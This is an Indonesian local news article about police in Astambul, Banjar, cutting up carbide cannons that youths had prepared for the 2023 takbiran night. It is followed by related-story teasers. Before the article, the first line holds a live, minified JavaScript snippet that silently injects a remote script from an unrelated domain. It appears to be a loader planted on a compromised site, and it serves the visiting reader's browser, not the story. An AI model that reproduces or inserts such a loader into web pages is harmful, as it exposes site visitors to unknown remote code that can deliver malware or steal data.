(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
KANALKALIMANTAN.COM, MARTAPURA – Dua buah meriam karbit yang disiapkan gagal dipakai saat malam takbiran oleh jajaran Polsek Astambul di Desa Pingaran Ilir RT 06, Kecamatan Astambul, Kabupaten Banjar, Rabu (19/4/2023) siang.
Meriam karbit dengan panjang 4 meter dan diamater 30 centimeter itu diketehui telah dirakit dan siap dibunyikan warga untuk perayaan malam Lebaran.
Padahal meriam karbit dari batang kayu diikat ban dan kawat itu kerap digunakan warga meramaikan malam takbiran di pinggir Sungai Martapura itu diketahui telah dilarang sejak tahun 2017 silam.
Kapolsek Astambul Iptu Margito mengungkapkan, dua buah meriam karbit itu didapat setelah ada patroli gabungan bersama Danramil Astambul,
Baca juga: Cegah Curanmor Saat Ditinggal Mudik, Ini 16 Lokasi Penitipan Kendaraan Gratis Polres Banjar!
Pembakal, Ketua RT serta para tokoh pemuda dan tokoh masyarakat Desa Pingaran Ilir.
“Dari hasil patroli bersam ditemukan dua buah meriam karbit yang siap untuk digunakan telah terpasang tepatnya di bantaran sungai desa Pingaran Ilir RT 06, panjang 4 meter dan diameter sekitar 30 cm,” ungkap Kapolsek Astambul Iptu Margito.
Kapolsek Astambul akhirnya meminta Pembakal untuk menghadirkan pihak-pihak yang telah membuat meriam karbit tersebut. Kemudian tiga pemuda pun berhasil dibawa bertemu ke rumah Ketua RT 06.
“Kita lakukan pertemuan dengan perwakilan para pemuda yang membuat yakni atas nama Ramli, Sugian dan Fahruzaki,” sambungnya.
Tanpa berlama-lama, meriam yang dibuat dan terpasang oleh tiga pemuda itu kemudian dipotong petugas kepolisian dengan menggunakan mesin pemotong kayu.
“Dari pertemuan diperoleh kesepakatan dan kita berikan pemahaman dan edukasi kepada pemuda, sehingga menyadari kalau tindakan mereka salah dan tidak bermanfaat,” jelas Kapolsek Astambul.
Polisi juga berkunjung ke Posko BPK Desa Pingaran Ilir RT 05, pihaknya turut melakukan sosialisasi terkait larangan membunyikan petasan dan meriam sesuai dengan imbauan yang disampaikan oleh Kapolres Banjar AKBP M Ifan Hariyat Taufik.
Ternyata dari beberapa warga juga ditemukan telah ada menyiapkan meriam karbit yang terbuat dari bekas kaleng Blueband.
Baca juga: Plt Bupati Serahkan 1.500 Paket Sembako Bantuan Korban Banjir di Mantangai
“Kita tindak langsung, dan Alhamdulillah mereka memahami dan dengan sukarela menyerahkan beberapa buah meriam yang terbuat dari bekas kaleng Blueband yang sudah mereka buat,” tuntasnya.
Hingga saat ini, kepolisian masih gencar melakukan patroli di berbagai desa di Kabupaten Banjar, terlebih di desa-desa yang berada di bantaran Sungai Martapura. (Kanalkalimantan.com/wanda)
Reporter: wanda
Editor: bie
KANALKALIMANTAN.COM, BANJARBARU - Forum Ambin Demokrasi turut menyikapi jalannya proses demokrasi dalam Pemilihan Wali Kota… Read More
KANALKALIMANTAN.COM, BANJARBARU - Kota Banjarbaru mulai masuk masa tenang jelang Pemilihan Kepala Daerah (Pilkada) Serentak… Read More
Coblos Paslon yang Dibatalkan Suara Dianggap Tidak Sah Read More
KANALKALIMANTAN.COM, BANJARBARU - Penjabat Sementara (Pjs) Wali Kota Banjarbaru Dra Hj Nurliani MAP telah bertugas… Read More
KANALKALIMANTAN.COM, AMUNTAI - Menjelang hari pemilihan dan memasuki masa tenang Pemilihan Kepala Daerah (Pilkada) 2024,… Read More
KANALKALIMANTAN.COM, AMUNTAI - Komisi Pemilihan Umum (KPU) Kabupaten Hulu Sungai Utara (HSU) mulai mendistribusikan logistik… Read More
This website uses cookies.